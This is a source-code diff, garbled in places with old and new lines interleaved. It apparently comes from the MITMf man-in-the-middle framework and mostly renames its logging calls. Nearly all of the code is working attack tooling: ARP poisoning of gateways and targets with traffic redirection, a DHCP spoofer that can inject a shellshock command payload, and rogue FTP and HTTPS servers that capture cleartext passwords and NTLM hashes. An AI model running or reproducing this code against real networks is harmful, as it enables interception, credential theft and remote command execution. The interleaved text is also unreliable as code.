self.mymac = mac self.targets = self.get_target_range(options.targets)
self.targets = self.getTargetRange(targets) self.arpmode = options.arpmode
self.interface = interface
self.arpmode = 'rep'
self.debug = False self.debug = False
self.send = True self.send = True
self.interval = 3 self.interval = 3
self.interface = options.interface
self.mymac = options.mac
def getTargetRange(self, targets): if self.gatewaymac is None:
sys.exit("Error: Could not resolve gateway's MAC address")
log.debug("gatewayip => {}".format(self.gatewayip))
log.debug("gatewaymac => {}".format(self.gatewaymac))
log.debug("targets => {}".format(self.targets))
log.debug("mac => {}".format(self.mymac))
log.debug("interface => {}".format(self.interface))
log.debug("arpmode => {}".format(self.arpmode))
log.debug("interval => {}".format(self.interval))
set_ip_forwarding(1)
iptables().flush()
iptables().http(options.port)
if self.arpmode == 'rep':
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
elif self.arpmode == 'req':
t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
t.setDaemon(True)
t.start()
if self.targets is None:
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
t.setDaemon(True)
t.start()
def get_target_range(self, targets):
if targets is None: if targets is None:
return None return None
try: try:
targetList = [] targetList = []
for target in targets.split(','): for target in targets.split(','):
if '/' in target: if '/' in target:
targetList.append(IPNetwork(target)) targetList.append(IPNetwork(target))
@ -47,45 +100,60 @@ class ARPpoisoner():
targetList.append(IPAddress(target)) targetList.append(IPAddress(target))
return targetList return targetList
except AddrFormatError as e: except AddrFormatError as e:
shutdown("[ARPpoisoner] Specified an invalid IP address/range/network as target") sys.exit("Specified an invalid IP address/range/network as target")
def start(self): def start_arp_watch(self):
if self.gatewaymac is None: sniff(prn=self.arp_watch_callback, filter="arp", store=0)
shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) def arp_watch_callback(self, pkt):
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) if self.send is True: #Prevents sending packets on exiting
mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets)) if ARP in pkt and pkt[ARP].op == 1: #who-has only
mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac)) #broadcast mac is 00:00:00:00:00:00
mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface)) packet = None
mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode)) #print str(pkt[ARP].hwsrc) #mac of sender
mitmf_logger.debug("[ARPpoisoner] interval => {}".format(self.interval)) #print str(pkt[ARP].psrc) #ip of sender
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
if self.arpmode == 'rep': if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
t = threading.Thread(name='ARPpoisoner-rep', target=self.poisonARPrep) log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
#send repoison packet
packet = ARP()
packet.op = 2
packet.psrc = self.gatewayip
packet.hwdst = str(pkt[ARP].hwsrc)
packet.pdst = str(pkt[ARP].psrc)
elif self.arpmode == 'req': elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
t = threading.Thread(name='ARPpoisoner-req', target=self.poisonARPreq) log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
#send repoison packet
packet = ARP()
packet.op = 2
packet.psrc = self.gatewayip
packet.hwdst = '00:00:00:00:00:00'
packet.pdst = str(pkt[ARP].pdst)
t.setDaemon(True) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
t.start() log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
def stop(self): packet = ARP()
self.send = False packet.op = 2
sleep(3) packet.psrc = self.myip
self.interval = 1 packet.hwdst = str(pkt[ARP].hwsrc)
packet.pdst = str(pkt[ARP].psrc)
if self.targets:
self.restoreTarget(2)
elif self.targets is None: try:
self.restoreNet(5) if packet is not None:
send(packet, verbose=self.debug, iface=self.interface)
except Exception as e:
if "Interrupted system call" not in e:
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
pass
def poisonARPrep(self): def poison_arp_rep(self):
while self.send: while self.send:
if self.targets is None: if self.targets is None:
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at") pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
@ -101,7 +169,7 @@ class ARPpoisoner():
targetmac = getmacbyip(targetip) targetmac = getmacbyip(targetip)
if targetmac is None: if targetmac is None:
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac: elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
@ -109,7 +177,7 @@ class ARPpoisoner():
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass pass
if (type(target) is IPRange) or (type(target) is IPNetwork): if (type(target) is IPRange) or (type(target) is IPNetwork):
@ -118,7 +186,7 @@ class ARPpoisoner():
targetmac = getmacbyip(str(targetip)) targetmac = getmacbyip(str(targetip))
if targetmac is None: if targetmac is None:
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac: elif targetmac:
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
@ -126,30 +194,30 @@ class ARPpoisoner():
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
print_exc() print_exc()
pass pass
sleep(self.interval) sleep(self.interval)
def poisonARPreq(self): def poison_arp_req(self):
while self.send: while self.send:
if self.targets is None: if self.targets is None:
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has") pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
elif self.targets: elif self.targets:
for target in self.targets: for target in self.targets:
if type(target) is IPAddress: if type(target) is IPAddress:
targetip = str(target) targetip = str(target)
try: try:
targetmac = getmacbyip(targetip) targetmac = getmacbyip(targetip)
if targetmac is None: if targetmac is None:
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac: elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
@ -157,16 +225,16 @@ class ARPpoisoner():
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass pass
if (type(target) is IPRange) or (type(target) is IPNetwork): if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target: for targetip in target:
try: try:
targetmac = getmacbyip(str(targetip)) targetmac = getmacbyip(str(targetip))
if targetmac is None: if targetmac is None:
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac: elif targetmac:
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
@ -174,54 +242,68 @@ class ARPpoisoner():
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass pass
sleep(self.interval) sleep(self.interval)
def restoreNet(self, count): def options(self, options):
mitmf_logger.info("[ARPpoisoner] Restoring subnet connection with {} packets".format(count)) options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2 options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def restoreTarget(self, count): def on_shutdown(self, options):
for target in self.targets: self.send = False
sleep(3)
self.interval = 1
count = 5
if type(target) is IPAddress: if self.targets:
targetip = str(target) for target in self.targets:
try: if type(target) is IPAddress:
targetmac = getmacbyip(targetip) targetip = str(target)
if targetmac is None:
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try: try:
targetmac = getmacbyip(str(targetip)) targetmac = getmacbyip(targetip)
if targetmac is None: if targetmac is None:
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac: elif targetmac:
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
elif self.targets is None:
log.info("Restoring subnet connection with {} packets".format(count))
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
set_ip_forwarding(0)
iptables().flush()

@ -1,12 +1,30 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging import logging
import threading import threading
import binascii import binascii
import random import random
from core.logger import logger
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
mitmf_logger = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [DHCPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DHCPpoisoner", formatter)
class DHCPpoisoner(): class DHCPpoisoner():
@ -55,8 +73,8 @@ class DHCPpoisoner():
self.dhcp_dic[xid] = client_ip self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1: if resp[DHCP].options[0][1] is 1:
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
mitmf_logger.info("Sending DHCP OFFER") log.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') / IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) / UDP(sport=67, dport=68) /
@ -78,7 +96,7 @@ class DHCPpoisoner():
sendp(packet, iface=self.interface, verbose=self.debug) sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3: if resp[DHCP].options[0][1] is 3:
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') / IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) / UDP(sport=67, dport=68) /
@ -97,11 +115,11 @@ class DHCPpoisoner():
pass pass
if self.shellshock: if self.shellshock:
mitmf_logger.info("Sending DHCP ACK with shellshock payload") log.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end") packet[DHCP].options.append("end")
else: else:
mitmf_logger.info("Sending DHCP ACK") log.info("Sending DHCP ACK")
packet[DHCP].options.append("end") packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug) sendp(packet, iface=self.interface, verbose=self.debug)

@ -1,5 +1,3 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati # Copyright (c) 2014-2016 Marcello Salvati
# #
# This program is free software; you can redistribute it and/or # This program is free software; you can redistribute it and/or
@ -22,17 +20,15 @@ import logging
import threading import threading
import binascii import binascii
import random import random
#import dns.resolver
from base64 import b64decode from base64 import b64decode
from urllib import unquote from urllib import unquote
from time import sleep from time import sleep
#from netfilterqueue import NetfilterQueue from core.logger import logger
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
mitmf_logger = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ICMPpoisoner", formatter)
class ICMPpoisoner(): class ICMPpoisoner():

@ -1,4 +1,3 @@
import socket import socket
import threading import threading
import struct import struct
@ -7,23 +6,25 @@ import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.fingerprinter.RAPLANMANPackets import * from core.responder.fingerprinter.RAPLANMANPackets import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LANfingerprinter", formatter)
class LANFingerprinter(): class LANfingerprinter():
def start(self, options): def start(self, options):
global args; args = options #For now a quick hack to make argparse's namespace object available to all global args; args = options
try: try:
mitmf_logger.debug("[LANFingerprinter] online") log.debug("online")
server = ThreadingUDPServer(("0.0.0.0", 138), Browser) server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
t = threading.Thread(name="LANFingerprinter", target=server.serve_forever) t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e)) log.error("Error starting on port 138: {}:".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
@ -70,8 +71,8 @@ def Decode_Name(nbname):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf))) ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception, e: except Exception as e:
mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e)) log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name" return "Illegal NetBIOS name"
def WorkstationFingerPrint(data): def WorkstationFingerPrint(data):
@ -201,8 +202,8 @@ def BecomeBackup(data, Client):
Role = NBT_NS_Role(data[45:48]) Role = NBT_NS_Role(data[45:48])
if args.analyze: if args.analyze:
Message1=RAPThisDomain(Client,Domain) Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1) log.warning(Message1)
mitmf_logger.warning("[LANFingerprinter] Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain)) log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
except: except:
pass pass
@ -215,8 +216,8 @@ def BecomeBackup(data, Client):
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.": if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze: if args.analyze:
Message1=RAPThisDomain(Client,Domain) Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1) log.warning(Message1)
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2)) log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except: except:
pass pass
@ -229,7 +230,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.": if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze: if args.analyze:
Message1=RAPThisDomain(Client,Domain) Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1) log.warning(Message1)
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2)) log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except: except:
pass pass

@ -6,20 +6,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.packet import Packet from core.responder.packet import Packet
from core.responder.odict import OrderedDict from core.responder.odict import OrderedDict
from core.responder.common import * from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("FTPserver", formatter)
class FTPServer(): class FTPserver():
def start(self): def start(self):
try: try:
mitmf_logger.debug("[FTPServer] online") log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 21), FTP) server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
t = threading.Thread(name="FTPServer", target=server.serve_forever) t = threading.Thread(name="FTPserver", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception, e:
mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e)) log.error("Error starting on port {}: {}".format(21, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -45,7 +47,7 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "USER": if data[0:4] == "USER":
User = data[5:].replace("\r\n","") User = data[5:].replace("\r\n","")
mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User)) log.info('{} FTP User: {}'.format(self.client_address[0], User))
t = FTPPacket(Code="331",Message="User name okay, need password.") t = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(t)) self.request.send(str(t))
data = self.request.recv(1024) data = self.request.recv(1024)
@ -53,7 +55,7 @@ class FTP(BaseRequestHandler):
Pass = data[5:].replace("\r\n","") Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt" Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass) WriteData(Outfile,User+":"+Pass, User+":"+Pass)
mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass)) log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
t = FTPPacket(Code="530",Message="User not logged in.") t = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(t)) self.request.send(str(t))
data = self.request.recv(1024) data = self.request.recv(1024)
@ -62,4 +64,4 @@ class FTP(BaseRequestHandler):
self.request.send(str(t)) self.request.send(str(t))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception as e: except Exception as e:
mitmf_logger.error("[FTPServer] Error handling request: {}".format(e)) log.error("Error handling request: {}".format(e))

@ -1,145 +0,0 @@
##################################################################################
#HTTPS Server stuff starts here (Not Used)
##################################################################################
class HTTPSProxy():
def serve_thread_SSL(host, port, handler):
try:
server = SSlSock((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
#Function name self-explanatory
def start(SSL_On_Off):
if SSL_On_Off == "ON":
t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL))
t.setDaemon(True)
t.start()
return t
if SSL_On_Off == "OFF":
return False
class SSlSock(ThreadingMixIn, TCPServer):
def __init__(self, server_address, RequestHandlerClass):
BaseServer.__init__(self, server_address, RequestHandlerClass)
ctx = SSL.Context(SSL.SSLv3_METHOD)
ctx.use_privatekey_file(SSLkey)
ctx.use_certificate_file(SSLcert)
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self,request):
try:
request.shutdown()
except:
pass
class DoSSL(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
while True:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
buff = WpadCustom(data,self.client_address[0])
if buff:
self.exchange.send(buff)
else:
buffer0 = HTTPSPacketSequence(data,self.client_address[0])
self.exchange.send(buffer0)
except:
pass
#Parse NTLMv1/v2 hash.
def ParseHTTPSHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
if NthashLen == 24:
#print "[+]HTTPS NTLMv1 hash captured from :",client
responder_logger.info('[+]HTTPS NTLMv1 hash captured from :%s'%(client))
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
#print "Hostname is :", Hostname
responder_logger.info('[+]HTTPS NTLMv1 Hostname is :%s'%(Hostname))
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
#print "User is :", data[UserOffset:UserOffset+UserLen].replace('\x00','')
responder_logger.info('[+]HTTPS NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
outfile = "./logs/responder/HTTPS-NTLMv1-Client-"+client+".txt"
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
WriteData(outfile,WriteHash, User+"::"+Hostname)
#print "Complete hash is : ", WriteHash
responder_logger.info('[+]HTTPS NTLMv1 Complete hash is :%s'%(WriteHash))
if NthashLen > 24:
#print "[+]HTTPS NTLMv2 hash captured from :",client
responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client))
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
#print "Domain is : ", Domain
responder_logger.info('[+]HTTPS NTLMv2 Domain is :%s'%(Domain))
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
#print "User is :", User
responder_logger.info('[+]HTTPS NTLMv2 User is : %s'%(User))
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
#print "Hostname is :", HostName
responder_logger.info('[+]HTTPS NTLMv2 Hostname is :%s'%(HostName))
outfile = "./logs/responder/HTTPS-NTLMv2-Client-"+client+".txt"
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
WriteData(outfile,WriteHash, User+"::"+Domain)
#print "Complete hash is : ", WriteHash
responder_logger.info('[+]HTTPS NTLMv2 Complete hash is :%s'%(WriteHash))
#Handle HTTPS packet sequence.
def HTTPSPacketSequence(data,client):
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if a:
packetNtlm = b64decode(''.join(a))[8:9]
if packetNtlm == "\x01":
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(a))
ParseHTTPSHash(NTLM_Auth,client)
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
if b:
GrabCookie(data,client)
